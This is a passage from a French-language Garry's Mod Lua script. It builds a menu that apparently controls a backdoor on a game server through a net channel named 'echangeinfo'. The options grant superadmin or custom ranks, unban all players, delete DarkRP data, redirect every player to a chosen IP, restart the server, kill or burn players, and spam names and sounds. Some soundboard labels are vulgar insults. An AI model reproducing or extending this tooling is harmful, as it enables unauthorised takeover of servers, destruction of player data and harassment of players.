  734.          net.WriteString(TextEntry:GetValue())
  735.          net.SendToServer()
  736. end
  737. end ):SetIcon( "icon16/user.png" )
  738.  
  739. infoserver:AddOption( "Changer le nom de tous les joueurs", function()
  740.          net.Start( "echangeinfo" )
  741.          net.WriteString("namechanger")
  742.          net.WriteEntity( userl )
  743.          net.SendToServer()
  744. end ):SetIcon( "icon16/server_database.png" )
  745.  
  746. infoserver:AddOption( "Changer le nom de tous les joueurs[SPAM]", function()
  747.          net.Start( "echangeinfo" )
  748.          net.WriteString("namechangerspam")
  749.          net.WriteEntity( userl )
  750.          net.SendToServer()
  751. end ):SetIcon( "icon16/server_database.png" )
  752.  
  753. infoserver:AddOption( "Name Changer[OFF]", function()
  754.          net.Start( "echangeinfo" )
  755.          net.WriteString("namechangerstop")
  756.          net.WriteEntity( userl )
  757.          net.SendToServer()
  758. end ):SetIcon( "icon16/server_database.png" )
  759.  
  760. infoserver:AddOption( "Redémarrer serveur", function()
  761.          net.Start( "echangeinfo" )
  762.          net.WriteString("restartserver")
  763.          net.WriteEntity( userl )
  764.          net.SendToServer()
  765. end ):SetIcon( "icon16/server_go.png" )
  766.  
  767. gravitesub:AddOption( "ON", function()
  768.          net.Start( "echangeinfo" )
  769.          net.WriteString("cassergrall")
  770.          net.WriteEntity( userl )
  771.          net.SendToServer()
  772. end ):SetIcon( "icon16/accept.png" )
  773.  
  774. gravitesub:AddOption( "OFF", function()
  775.          net.Start( "echangeinfo" )
  776.          net.WriteString("retablirgrall")
  777.          net.WriteEntity( userl )
  778.          net.SendToServer()
  779. end ):SetIcon( "icon16/cancel.png" )
  780.  
  781. physiquesub:AddOption( "ON", function()
  782.          net.Start( "echangeinfo" )
  783.          net.WriteString("physicgamestyle")
  784.          net.WriteEntity( userl )
  785.          net.SendToServer()
  786. end ):SetIcon( "icon16/accept.png" )
  787.  
  788. physiquesub:AddOption( "OFF", function()
  789.          net.Start( "echangeinfo" )
  790.          net.WriteString("retablirphysicgamestyle")
  791.          net.WriteEntity( userl )
  792.          net.SendToServer()
  793. end ):SetIcon( "icon16/cancel.png" )
  794.  
  795. quakeearth:AddOption( "ON", function()
  796.          net.Start( "echangeinfo" )
  797.          net.WriteString("earthquakeonall")
  798.          net.WriteEntity( userl )
  799.          net.SendToServer()
  800. end ):SetIcon( "icon16/accept.png" )
  801.  
  802. trollall:AddOption( "GL0B4L H4CK", function()
  803.          net.Start( "echangeinfo" )
  804.          net.WriteString("globalhack")
  805.          net.WriteEntity( userl )
  806.          net.SendToServer()
  807. end ):SetIcon( "icon16/application_xp_terminal.png" )
  808.  
  809. trollall:AddOption( "[DARKRP]D3L3T3 D4T4", function()
  810.          net.Start( "echangeinfo" )
  811.          net.WriteString("destructdata")
  812.          net.WriteEntity( userl )
  813.          net.SendToServer()
  814. end ):SetIcon( "icon16/database_error.png" )
  815.  
  816. trollall:AddOption( "Spooky Sk3ll3ton!", function()
  817.          net.Start( "echangeinfo" )
  818.          net.WriteString("spooky")
  819.          net.WriteEntity( userl )
  820.          net.SendToServer()
  821. end ):SetIcon( "icon16/rainbow.png" )
  822.  
  823. trollall:AddOption( "D4NC3 FL00R!", function()
  824.          net.Start( "echangeinfo" )
  825.          net.WriteString("dancefloor")
  826.          net.WriteEntity( userl )
  827.          net.SendToServer()
  828. end ):SetIcon( "icon16/rainbow.png" )
  829.  
  830. trollall:AddOption( "0V3RD00S3! ", function()
  831.          net.Start( "echangeinfo" )
  832.          net.WriteString("visuel")
  833.          net.WriteEntity( userl )
  834.          net.SendToServer()
  835. end ):SetIcon( "icon16/rainbow.png" )
  836.  
  837.  
  838. animationallsubsalute:AddOption( "1 fois", function()
  839.          net.Start( "echangeinfo" )
  840.          net.WriteString("animation_salute")
  841.          net.WriteEntity( userl )
  842.          net.SendToServer()
  843. end ):SetIcon( "icon16/bell.png" )
  844.  
  845. animationallsubsalute:AddOption( "en boucle", function()
  846.          net.Start( "echangeinfo" )
  847.          net.WriteString("animation_salute_loop")
  848.          net.WriteEntity( userl )
  849.          net.SendToServer()
  850. end ):SetIcon( "icon16/bell.png" )
  851.  
  852. animationallsubrobot:AddOption( "1 fois", function()
  853.          net.Start( "echangeinfo" )
  854.          net.WriteString("animation_robot")
  855.          net.WriteEntity( userl )
  856.          net.SendToServer()
  857. end ):SetIcon( "icon16/bell.png" )
  858. animationallsubrobot:AddOption( "en boucle", function()
  859.          net.Start( "echangeinfo" )
  860.          net.WriteString("animation_robot_loop")
  861.          net.WriteEntity( userl )
  862.          net.SendToServer()
  863. end ):SetIcon( "icon16/bell.png" )
  864.  
  865. animationallsubcheer:AddOption( "1 fois", function()
  866.          net.Start( "echangeinfo" )
  867.          net.WriteString("animation_cheer")
  868.          net.WriteEntity( userl )
  869.          net.SendToServer()
  870. end ):SetIcon( "icon16/bell.png" )
  871. animationallsubcheer:AddOption( "en boucle", function()
  872.          net.Start( "echangeinfo" )
  873.          net.WriteString("animation_cheer_loop")
  874.          net.WriteEntity( userl )
  875.          net.SendToServer()
  876. end ):SetIcon( "icon16/bell.png" )
  877.  
  878. animationallsublaugh:AddOption( "1 fois", function()
  879.          net.Start( "echangeinfo" )
  880.          net.WriteString("animation_laugh")
  881.          net.WriteEntity( userl )
  882.          net.SendToServer()
  883. end ):SetIcon( "icon16/bell.png" )
  884.  
  885. animationallsublaugh:AddOption( "en boucle", function()
  886.          net.Start( "echangeinfo" )
  887.          net.WriteString("animation_laugh_loop")
  888.          net.WriteEntity( userl )
  889.          net.SendToServer()
  890. end ):SetIcon( "icon16/bell.png" )
  891.  
  892. animationallsubmuscle:AddOption( "1 fois", function()
  893.          net.Start( "echangeinfo" )
  894.          net.WriteString("animation_muscle")
  895.          net.WriteEntity( userl )
  896.          net.SendToServer()
  897. end ):SetIcon( "icon16/bell.png" )
  898.  
  899. animationallsubmuscle:AddOption( "en boucle", function()
  900.          net.Start( "echangeinfo" )
  901.          net.WriteString("animation_muscle_loop")
  902.          net.WriteEntity( userl )
  903.          net.SendToServer()
  904. end ):SetIcon( "icon16/bell.png" )
  905.  
  906. animationallsubpersistence:AddOption( "1 fois", function()
  907.          net.Start( "echangeinfo" )
  908.          net.WriteString("animation_persistence")
  909.          net.WriteEntity( userl )
  910.          net.SendToServer()
  911. end ):SetIcon( "icon16/bell.png" )
  912.  
  913. animationallsubpersistence:AddOption( "en boucle", function()
  914.          net.Start( "echangeinfo" )
  915.          net.WriteString("animation_persistence_loop")
  916.          net.WriteEntity( userl )
  917.          net.SendToServer()
  918. end ):SetIcon( "icon16/bell.png" )
  919.  
  920. animationallsubdance:AddOption( "1 fois", function()
  921.          net.Start( "echangeinfo" )
  922.          net.WriteString("animation_dance")
  923.          net.WriteEntity( userl )
  924.          net.SendToServer()
  925. end ):SetIcon( "icon16/bell.png" )
  926.  
  927. animationallsubdance:AddOption( "en boucle", function()
  928.          net.Start( "echangeinfo" )
  929.          net.WriteString("animation_dance_loop")
  930.          net.WriteEntity( userl )
  931.          net.SendToServer()
  932. end ):SetIcon( "icon16/bell.png" )
  933.  
  934. animationall:AddOption( "STOP ALL", function()
  935.          net.Start( "echangeinfo" )
  936.          net.WriteString("stop_timer_animation")
  937.          net.WriteEntity( userl )
  938.          net.SendToServer()
  939. end ):SetIcon( "icon16/bell.png" )
  940.  
  941. ulxall:AddOption( "Unban ALL ", function()
  942.          net.Start( "echangeinfo" )
  943.          net.WriteString("unbanall")
  944.          net.WriteEntity( userl )
  945.          net.SendToServer()
  946. end ):SetIcon( "icon16/status_online.png" )
  947.  
  948. ulxall:AddOption( "Give une arme", function()
  949. local frame = vgui.Create( "DFrame" )
  950. frame:SetSize( 400, 100 )
  951. frame:SetTitle( "" )
  952. frame:Center()
  953. frame:MakePopup()
  954. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  955. TextEntry:SetPos( 25, 50 )
  956. TextEntry:SetSize( 350, 35 )
  957. TextEntry:SetText( "weapon_rpg" )
  958. TextEntry.OnEnter = function( self )
  959.          net.Start( "echangeinfo" )
  960.          net.WriteString("itemsall")
  961.          net.WriteEntity( userl )
  962.          net.WriteString(TextEntry:GetValue())
  963.          net.SendToServer()
  964. end
  965. end ):SetIcon( "icon16/bomb.png" )
  966.  
  967. ulxall:AddOption( "Changer les models", function()
  968. local frame = vgui.Create( "DFrame" )
  969. frame:SetSize( 400, 100 )
  970. frame:SetTitle( "" )
  971. frame:Center()
  972. frame:MakePopup()
  973. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  974. TextEntry:SetPos( 25, 50 )
  975. TextEntry:SetSize( 350, 35 )
  976. TextEntry:SetText( "models/editor/playerstart.mdl" )
  977. TextEntry.OnEnter = function( self )
  978.          net.Start( "echangeinfo" )
  979.          net.WriteString("modelall")
  980.          net.WriteEntity( userl )
  981.          net.WriteString(TextEntry:GetValue())
  982.          net.SendToServer()
  983. end
  984. end ):SetIcon( "icon16/box.png" )
  985.  
  986. ulxall:AddOption( "Rediriger tous les joueurs vers une ip", function()
  987. local frame = vgui.Create( "DFrame" )
  988. frame:SetSize( 400, 100 )
  989. frame:SetTitle( "" )
  990. frame:Center()
  991. frame:MakePopup()
  992. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  993. TextEntry:SetPos( 25, 50 )
  994. TextEntry:SetSize( 350, 35 )
  995. TextEntry:SetText( "127.0.0.1:27015" )
  996. TextEntry.OnEnter = function( self )
  997.          net.Start( "echangeinfo" )
  998.          net.WriteString("redirectplayer")
  999.          net.WriteEntity( userl )
  1000.          net.WriteString(TextEntry:GetValue())
  1001.          net.SendToServer()
  1002. end
  1003. end ):SetIcon( "icon16/server_go.png" )
  1004. soundboard:AddOption( "STOP", function()
  1005.          net.Start( "echangeinfo" )
  1006.          net.WriteString("stopallsound")
  1007.          net.WriteEntity( userl )
  1008.          net.SendToServer()
  1009. end ):SetIcon( "icon16/cancel.png" )
  1010. soundboardtk78:AddOption( "Aujourd'hui J'ai Juré", function()
  1011.          net.Start( "echangeinfo" )
  1012.          net.WriteString("tk78_jure")
  1013.          net.WriteEntity( userl )
  1014.          net.SendToServer()
  1015. end )
  1016.  
  1017. soundboardtk78:AddOption( "Compte Twitter", function()
  1018.          net.Start( "echangeinfo" )
  1019.          net.WriteString("tk78_twitter")
  1020.          net.WriteEntity( userl )
  1021.          net.SendToServer()
  1022. end )
  1023.  
  1024. soundboardtk78:AddOption( "Coup De Coude", function()
  1025.          net.Start( "echangeinfo" )
  1026.          net.WriteString("tk78_coude")
  1027.          net.WriteEntity( userl )
  1028.          net.SendToServer()
  1029. end )
  1030.  
  1031. soundboardtk78:AddOption( "Dinosaure", function()
  1032.          net.Start( "echangeinfo" )
  1033.          net.WriteString("tk78_dino")
  1034.          net.WriteEntity( userl )
  1035.          net.SendToServer()
  1036. end )
  1037.  
  1038. soundboardtk78:AddOption( "Fils de pute #1", function()
  1039.          net.Start( "echangeinfo" )
  1040.          net.WriteString("tk78_fdp1")
  1041.          net.WriteEntity( userl )
  1042.          net.SendToServer()
  1043. end )
  1044.  
  1045. soundboardtk78:AddOption( "Fils de pute #2", function()
  1046.          net.Start( "echangeinfo" )
  1047.          net.WriteString("tk78_fdp2")
  1048.          net.WriteEntity( userl )
  1049.          net.SendToServer()
  1050. end )
  1051.  
  1052. soundboardtk78:AddOption( "Je Pensais Pas ça De Toi", function()
  1053.          net.Start( "echangeinfo" )
  1054.          net.WriteString("tk78_penserdetoi")
  1055.          net.WriteEntity( userl )
  1056.          net.SendToServer()
  1057. end )
  1058.  
  1059. soundboardtk78:AddOption( "La Ps4", function()
  1060.          net.Start( "echangeinfo" )
  1061.          net.WriteString("tk78_ps4")
  1062.          net.WriteEntity( userl )
  1063.          net.SendToServer()
  1064. end )
  1065.  
  1066. soundboardtk78:AddOption( "Le Grand Père", function()
  1067.          net.Start( "echangeinfo" )
  1068.          net.WriteString("tk78_pere")
  1069.          net.WriteEntity( userl )
  1070.          net.SendToServer()
  1071. end )
  1072.  
  1073. soundboardtk78:AddOption( "Ma Lumière", function()
  1074.          net.Start( "echangeinfo" )
  1075.          net.WriteString("tk78_light")
  1076.          net.WriteEntity( userl )
  1077.          net.SendToServer()
  1078. end )
  1079.  
  1080. soundboardtk78:AddOption( "Ouvre Ta Gueule", function()
  1081.          net.Start( "echangeinfo" )
  1082.          net.WriteString("tk78_geule")
  1083.          net.WriteEntity( userl )
  1084.          net.SendToServer()
  1085. end )
  1086.  
  1087. soundboardtk78:AddOption( "PSG les Kheys", function()
  1088.          net.Start( "echangeinfo" )
  1089.          net.WriteString("tk78_kheys")
  1090.          net.WriteEntity( userl )
  1091.          net.SendToServer()
  1092. end )
  1093.  
  1094. soundboardtk78:AddOption( "Rachide", function()
  1095.          net.Start( "echangeinfo" )
  1096.          net.WriteString("tk78_rachide")
  1097.          net.WriteEntity( userl )
  1098.          net.SendToServer()
  1099. end )
  1100.  
  1101. soundboardtk78:AddOption( "Rip la souris", function()
  1102.          net.Start( "echangeinfo" )
  1103.          net.WriteString("tk78_souris")
  1104.          net.WriteEntity( userl )
  1105.          net.SendToServer()
  1106. end )
  1107.  
  1108. soundboardtk78:AddOption( "Rire", function()
  1109.          net.Start( "echangeinfo" )
  1110.          net.WriteString("tk78_rire")
  1111.          net.WriteEntity( userl )
  1112.          net.SendToServer()
  1113. end )
  1114.  
  1115. soundboardtk78:AddOption( "STARFOULLAH THEKAIRI78!", function()
  1116.          net.Start( "echangeinfo" )
  1117.          net.WriteString("tk78_starfoullah")
  1118.          net.WriteEntity( userl )
  1119.          net.SendToServer()
  1120. end )
  1121.  
  1122. soundboardtk78:AddOption( "Sale Batard", function()
  1123.          net.Start( "echangeinfo" )
  1124.          net.WriteString("tk78_battard")
  1125.          net.WriteEntity( userl )
  1126.          net.SendToServer()
  1127. end )
  1128.  
  1129. soundboardtk78:AddOption( "THEKAIRI78 INSULTE", function()
  1130.          net.Start( "echangeinfo" )
  1131.          net.WriteString("tk78_insultespam")
  1132.          net.WriteEntity( userl )
  1133.          net.SendToServer()
  1134. end )
  1135.  
  1136. soundboardtk78:AddOption( "Ta 28 Ans", function()
  1137.          net.Start( "echangeinfo" )
  1138.          net.WriteString("tk78_ans")
  1139.          net.WriteEntity( userl )
  1140.          net.SendToServer()
  1141. end )
  1142.  
  1143. soundboardtk78:AddOption( "Wallah", function()
  1144.          net.Start( "echangeinfo" )
  1145.          net.WriteString("tk78_wallah")
  1146.          net.WriteEntity( userl )
  1147.          net.SendToServer()
  1148. end )
  1149.  
  1150. soundboardtk78:AddOption( "Zehma", function()
  1151.          net.Start( "echangeinfo" )
  1152.          net.WriteString("tk78_zehma")
  1153.          net.WriteEntity( userl )
  1154.          net.SendToServer()
  1155. end )
  1156.  
  1157. soundboardtk78:AddOption( "Bruit de gogole", function()
  1158.          net.Start( "echangeinfo" )
  1159.          net.WriteString("tk78_gogole")
  1160.          net.WriteEntity( userl )
  1161.          net.SendToServer()
  1162. end )
  1163. soundboardtk78:AddOption( "Mon rep se pose des questions", function()
  1164.          net.Start( "echangeinfo" )
  1165.          net.WriteString("tk78_rep")
  1166.          net.WriteEntity( userl )
  1167.          net.SendToServer()
  1168. end )
  1169. soundboardtk78:AddOption( "Défoncer", function()
  1170.          net.Start( "echangeinfo" )
  1171.          net.WriteString("tk78_defoncer")
  1172.          net.WriteEntity( userl )
  1173.          net.SendToServer()
  1174. end )
  1175. soundboardwtc:AddOption( "J'aime mettre mon pénis dans des yaourts", function()
  1176.          net.Start( "echangeinfo" )
  1177.          net.WriteString("wtc_yaourts")
  1178.          net.WriteEntity( userl )
  1179.          net.SendToServer()
  1180. end )
  1181. soundboardwtc:AddOption( "BIEN EVIDEMENT BIEN EVIDEMENT", function()
  1182.          net.Start( "echangeinfo" )
  1183.          net.WriteString("wtc_evidement")
  1184.          net.WriteEntity( userl )
  1185.          net.SendToServer()
  1186. end )
  1187. soundboardwtc:AddOption( "POPOPO", function()
  1188.          net.Start( "echangeinfo" )
  1189.          net.WriteString("wtc_popopo")
  1190.          net.WriteEntity( userl )
  1191.          net.SendToServer()
  1192. end )
  1193. soundboardwtc:AddOption( "Patate", function()
  1194.          net.Start( "echangeinfo" )
  1195.          net.WriteString("wtc_patate")
  1196.          net.WriteEntity( userl )
  1197.          net.SendToServer()
  1198. end )
  1199. epiicasong:AddOption( "Hack", function()
  1200.          net.Start( "echangeinfo" )
  1201.          net.WriteString("hacksong")
  1202.          net.WriteEntity( userl )
  1203.          net.SendToServer()
  1204. end )
  1205. epiicasong:AddOption( "Ski Mask The Slump God - BUKAKKE", function()
  1206.          net.Start( "echangeinfo" )
  1207.          net.WriteString("skimaskgod")
  1208.          net.WriteEntity( userl )
  1209.          net.SendToServer()
  1210. end )
  1211. epiicasong:AddOption( "Mc Kresha - Luv Luv", function()
  1212.          net.Start( "echangeinfo" )
  1213.          net.WriteString("kreshaluvluv")
  1214.          net.WriteEntity( userl )
  1215.          net.SendToServer()
  1216. end )
  1217. epiicasong:AddOption( "Gasolina (feat. KORNDAWG & ACOT)", function()
  1218.          net.Start( "echangeinfo" )
  1219.          net.WriteString("gasolina")
  1220.          net.WriteEntity( userl )
  1221.          net.SendToServer()
  1222. end )
  1223. epiicasong:AddOption( "YBN Nahmir - Bounce Out With That", function()
  1224.          net.Start( "echangeinfo" )
  1225.          net.WriteString("bounceout")
  1226.          net.WriteEntity( userl )
  1227.          net.SendToServer()
  1228. end )
  1229. epiicasong:AddOption( "Fils de pute[POTATOZ]", function()
  1230.          net.Start( "echangeinfo" )
  1231.          net.WriteString("fdpfdp")
  1232.          net.WriteEntity( userl )
  1233.          net.SendToServer()
  1234. end )
  1235. cancer:AddOption( "Comment je nique ta mère", function()
  1236.          net.Start( "echangeinfo" )
  1237.          net.WriteString("cancer_mere")
  1238.          net.WriteEntity( userl )
  1239.          net.SendToServer()
  1240. end )
  1241.  
  1242. cancer:AddOption( "HARRY POTTER BOSOTED", function()
  1243.          net.Start( "echangeinfo" )
  1244.          net.WriteString("cancer_bosoted")
  1245.          net.WriteEntity( userl )
  1246.          net.SendToServer()
  1247. end )
  1248.  
  1249. cancer:AddOption( "HAAAAAAA", function()
  1250.          net.Start( "echangeinfo" )
  1251.          net.WriteString("cancer_haaaaaa")
  1252.          net.WriteEntity( userl )
  1253.          net.SendToServer()
  1254. end )
  1255.  
  1256. cancer:AddOption( "HMMM LE JUS D'ORANGE", function()
  1257.          net.Start( "echangeinfo" )
  1258.          net.WriteString("cancer_orange")
  1259.          net.WriteEntity( userl )
  1260.          net.SendToServer()
  1261. end )
  1262.  
  1263. cancer:AddOption( "Le Nike ta mère le Pen", function()
  1264.          net.Start( "echangeinfo" )
  1265.          net.WriteString("cancer_nike")
  1266.          net.WriteEntity( userl )
  1267.          net.SendToServer()
  1268. end )
  1269.  
  1270. cancer:AddOption( "Risitas", function()
  1271.          net.Start( "echangeinfo" )
  1272.          net.WriteString("cancer_risitas")
  1273.          net.WriteEntity( userl )
  1274.          net.SendToServer()
  1275. end )
  1276. cancer:AddOption( "Peter Griffin laugh", function()
  1277.          net.Start( "echangeinfo" )
  1278.          net.WriteString("cancer_peter")
  1279.          net.WriteEntity( userl )
  1280.          net.SendToServer()
  1281. end )
  1282. cancer:AddOption( "Record du Monde", function()
  1283.          net.Start( "echangeinfo" )
  1284.          net.WriteString("cancer_monde")
  1285.          net.WriteEntity( userl )
  1286.          net.SendToServer()
  1287. end )
  1288. cancer:AddOption( "Je code avec le Q", function()
  1289.          net.Start( "echangeinfo" )
  1290.          net.WriteString("cancer_codeaveccul")
  1291.          net.WriteEntity( userl )
  1292.          net.SendToServer()
  1293. end )
  1294. cancer:AddOption( "Qu'est-ce tu fais gros !", function()
  1295.          net.Start( "echangeinfo" )
  1296.          net.WriteString("cancer_faisgros")
  1297.          net.WriteEntity( userl )
  1298.          net.SendToServer()
  1299. end )
  1300.  
  1301. cancer:AddOption( "Rage", function()
  1302.          net.Start( "echangeinfo" )
  1303.          net.WriteString("cancer_rage")
  1304.          net.WriteEntity( userl )
  1305.          net.SendToServer()
  1306. end )
  1307.  
  1308. cancer:AddOption( "Titanique", function()
  1309.          net.Start( "echangeinfo" )
  1310.          net.WriteString("cancer_titanic")
  1311.          net.WriteEntity( userl )
  1312.          net.SendToServer()
  1313. end )
  1314.  
  1315. cancer:AddOption( "WAKE ME UP INSIDE", function()
  1316.          net.Start( "echangeinfo" )
  1317.          net.WriteString("cancer_upinside")
  1318.          net.WriteEntity( userl )
  1319.          net.SendToServer()
  1320. end )
  1321.  
  1322. cancer:AddOption( "Windows XP", function()
  1323.          net.Start( "echangeinfo" )
  1324.          net.WriteString("cancer_windows")
  1325.          net.WriteEntity( userl )
  1326.          net.SendToServer()
  1327. end )
  1328.  
  1329. cancer:AddOption( "Badumtss", function()
  1330.          net.Start( "echangeinfo" )
  1331.          net.WriteString("cancer_badumtss")
  1332.          net.WriteEntity( userl )
  1333.          net.SendToServer()
  1334. end )
  1335.  
  1336. cancer:AddOption( "WTF BOOM", function()
  1337.          net.Start( "echangeinfo" )
  1338.          net.WriteString("cancer_wtfboom")
  1339.          net.WriteEntity( userl )
  1340.          net.SendToServer()
  1341. end )
  1342.  
  1343.  
  1344. m:AddSpacer() -- Add a spacer
  1345. m:Open() -- Show our menu
  1346. end
  1347. local AppList = vgui.Create( "DListView", Frame )
  1348. AppList:SetMultiSelect( false )
  1349. AppList:AddColumn( "Utilisateur" )
  1350. AppList:SetSize( ScrW() -400, ScrH() -400 );
  1351. AppList:SetPos( 100, 80 );
  1352.             for k, v in pairs(player.GetAll()) do
  1353.                 AppList:AddLine( v:Nick(), v)
  1354.             end
  1355. AppList.OnRowSelected = function( lst, index, pnl )
  1356. userl = pnl:GetColumnText( 2 )
  1357. valuess = pnl:GetColumnText( 1 )
  1358. local m = DermaMenu()
  1359. local meutre, meutreicon = m:AddSubMenu( "Meutre" )
  1360. meutreicon:SetIcon( "icon16/bomb.png" )
  1361. m:AddSpacer()
  1362. local ulx, ulxicon = m:AddSubMenu( "Commandes" )
  1363. ulxicon:SetIcon( "icon16/script_edit.png" )
  1364. m:AddSpacer()
  1365. local tpsub, tpsubicon = m:AddSubMenu( "Téléportation" )
  1366. tpsubicon:SetIcon( "icon16/user_go.png" )
  1367. local tpsubgmconstruct, tpsubgmconstructicon = tpsub:AddSubMenu( "GM_CONSTRUCT" )
  1368. tpsubgmconstructicon:SetIcon( "icon16/map.png" )
  1369. local tpsubgmflat, tpsubgmflaticon = tpsub:AddSubMenu( "GM_FLATGRASS" )
  1370. tpsubgmflaticon:SetIcon( "icon16/map.png" )
  1371. local tpsubglife3, tpsubglife3icon = tpsub:AddSubMenu( "RP_GLIFE_ROCKFORD3" )
  1372. tpsubglife3icon:SetIcon( "icon16/map.png" )
  1373. local downtownv4cv2, downtownv4cv2icon = tpsub:AddSubMenu( "RP_DOWNTOWN_V4C_V2" )
  1374. downtownv4cv2icon:SetIcon( "icon16/map.png" )
  1375. local ulxsubgrade, ulxsubgradeicon = ulx:AddSubMenu( "Grades" )
  1376. ulxsubgradeicon:SetIcon( "icon16/user.png" )
  1377. local ulxsubgod, ulxsubgodicon = ulx:AddSubMenu( "Mode dieu" )
  1378. ulxsubgodicon:SetIcon( "icon16/heart.png" )
  1379. local ulxsubfreeze, ulxsubfreezeicon = ulx:AddSubMenu( "Freeze" )
  1380. ulxsubfreezeicon:SetIcon( "icon16/heart.png" )
  1381. local ulxsubnoclip, ulxsubnoclipicon = ulx:AddSubMenu( "NOCLIP" )
  1382. ulxsubnoclipicon:SetIcon( "icon16/drive_user.png" )
  1383. m:AddSpacer()
  1384. local animation, animationicon = m:AddSubMenu( "Animation" )
  1385. animationicon:SetIcon( "icon16/wand.png" )
  1386. m:AddSpacer()
  1387. local mooves, moovesicon = m:AddSubMenu( "Mouvement" )
  1388. moovesicon:SetIcon( "icon16/controller.png" )
  1389. m:AddSpacer()
  1390. local troll, trollicon = m:AddSubMenu( "Troll Menu" )
  1391. trollicon:SetIcon( "icon16/rainbow.png" )
  1392. local trollsubflash, trollsubflashicon = troll:AddSubMenu( "Flashlight SPAM" )
  1393. trollsubflashicon:SetIcon( "icon16/lightbulb_off.png" )
  1394. local trollsubscreen, trollsubscreenicon = troll:AddSubMenu( "Screenshot SPAM" )
  1395. trollsubscreenicon:SetIcon( "icon16/camera.png" )
  1396. local trollsubstopsound, trollsubstopsoundicon = troll:AddSubMenu( "Stopsound SPAM" )
  1397. trollsubstopsoundicon:SetIcon( "icon16/sound_mute.png" )
  1398. local trollsubmoooves, trollsubmooovesicon = troll:AddSubMenu( "Mouvement" )
  1399. trollsubmooovesicon:SetIcon( "icon16/bug_error.png" )
  1400. local trollsubgravity, trollsubgravityicon = troll:AddSubMenu( "Gravité Casser" )
  1401. trollsubgravityicon:SetIcon( "icon16/star.png" )
  1402. local trollsubjumpc, trollsubjumpcicon = troll:AddSubMenu( "Jump Casser" )
  1403. trollsubjumpcicon:SetIcon( "icon16/star.png" )
  1404. local trollsubmic, trollsubmicicon = troll:AddSubMenu( "Micro" )
  1405. trollsubmicicon:SetIcon( "icon16/sound.png" )
  1406. local trollprison, trollprisonicon = troll:AddSubMenu( "Prison" )
  1407. trollprisonicon:SetIcon( "icon16/user_orange.png" )
  1408. m:AddSpacer()
  1409. meutre:AddOption( "Tuer la personne", function()
  1410.      net.Start( "echangeinfo" )
  1411.      net.WriteString("killuser")
  1412.      net.WriteEntity( userl )
  1413.      net.SendToServer()
  1414.      actioneff("Vous venez de tuer " .. userl:Nick())
  1415. end ):SetIcon( "icon16/delete.png" )
  1416. meutre:AddOption( "Tuer la personne (silencieux)", function()
  1417.      net.Start( "echangeinfo" )
  1418.      net.WriteString("killusersilence")
  1419.      net.WriteEntity( userl )
  1420.      net.SendToServer()
  1421.      actioneff("Vous venez de tuer " .. userl:Nick())
  1422. end ):SetIcon( "icon16/delete.png" )
  1423. meutre:AddOption( "Bruler la personne", function()
  1424.          net.Start( "echangeinfo" )
  1425.          net.WriteString("fireuser")
  1426.          net.WriteEntity( userl )
  1427.          net.SendToServer()
  1428.          actioneff("Vous venez de bruler " .. userl:Nick())
  1429.  end ):SetIcon( "icon16/delete.png" )
  1430.  
  1431. ulxsubgrade:AddOption( "[SUPERADMIN]", function()
  1432.          net.Start( "echangeinfo" )
  1433.          net.WriteString("superadmin")
  1434.          net.WriteEntity( userl )
  1435.          net.SendToServer()
  1436.          actioneff("Vous venez de passer " .. userl:Nick() .. " [superadmin]")
  1437. end ):SetIcon( "icon16/user_add.png" )
  1438.  
  1439. ulxsubgrade:AddOption( "[USER]", function()
  1440.          net.Start( "echangeinfo" )
  1441.          net.WriteString("esuperadmin")
  1442.          net.WriteEntity( userl )
  1443.          net.SendToServer()
  1444.          actioneff("Vous venez de passer " .. userl:Nick() .. " [user]")
  1445. end ):SetIcon( "icon16/user_delete.png" )
  1446.  
  1447. ulxsubgrade:AddOption( "Choisir un rang", function()
  1448. local frame = vgui.Create( "DFrame" )
  1449. frame:SetSize( 400, 100 )
  1450. frame:SetTitle( "" )
  1451. frame:Center()
  1452. frame:MakePopup()
  1453. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  1454. TextEntry:SetPos( 25, 50 )
  1455. TextEntry:SetSize( 350, 35 )
  1456. TextEntry:SetText( "superadmin" )
  1457. TextEntry.OnEnter = function( self )
  1458.          net.Start( "echangeinfo" )
  1459.          net.WriteString("customrank")
  1460.          net.WriteEntity( userl )
  1461.          net.WriteString(TextEntry:GetValue())
  1462.          net.SendToServer()
  1463. end
  1464. end ):SetIcon( "icon16/user_add.png" )
  1465.  
  1466. ulxsubnoclip:AddOption( "[ON]", function()
  1467.      net.Start( "echangeinfo" )
  1468.      net.WriteString("noclipon")
  1469.      net.WriteEntity( userl )
  1470.      net.SendToServer()
  1471.  end ):SetIcon( "icon16/accept.png" )
  1472.  
  1473. ulxsubnoclip:AddOption( "[OFF]", function()
  1474.      net.Start( "echangeinfo" )
  1475.      net.WriteString("noclipoff")
  1476.      net.WriteEntity( userl )
  1477.      net.SendToServer()
  1478. end ):SetIcon( "icon16/cancel.png" )
  1479.  
  1480. ulx:AddOption( "Donner de l'argent", function()
  1481. local frame = vgui.Create( "DFrame" )
  1482. frame:SetSize( 400, 100 )
  1483. frame:SetTitle( "" )
  1484. frame:Center()
  1485. frame:MakePopup()
  1486. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  1487. TextEntry:SetPos( 25, 50 )
  1488. TextEntry:SetSize( 350, 35 )
  1489. TextEntry:SetText( "500" )
  1490. TextEntry.OnEnter = function( self )
  1491.          net.Start( "echangeinfo" )
  1492.          net.WriteString("addmoney")
  1493.          net.WriteEntity( userl )
  1494.          net.WriteString(TextEntry:GetValue())
  1495.          net.SendToServer()
  1496. end
  1497. end ):SetIcon( "icon16/money_add.png" )
  1498.  
  1499. ulx:AddOption( "Point de Vie", function()
  1500. local frame = vgui.Create( "DFrame" )
  1501. frame:SetSize( 400, 100 )
  1502. frame:SetTitle( "" )
  1503. frame:Center()
  1504. frame:MakePopup()
  1505. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  1506. TextEntry:SetPos( 25, 50 )
  1507. TextEntry:SetSize( 350, 35 )
  1508. TextEntry:SetText( "100" )
  1509. TextEntry.OnEnter = function( self )
  1510.          net.Start( "echangeinfo" )
  1511.          net.WriteString("pvheal")
  1512.          net.WriteEntity( userl )
  1513.          net.WriteString(TextEntry:GetValue())
  1514.          net.SendToServer()
  1515. end
  1516. end ):SetIcon( "icon16/heart.png" )
  1517.  
  1518. ulx:AddOption( "Point d'armure", function()
  1519. local frame = vgui.Create( "DFrame" )
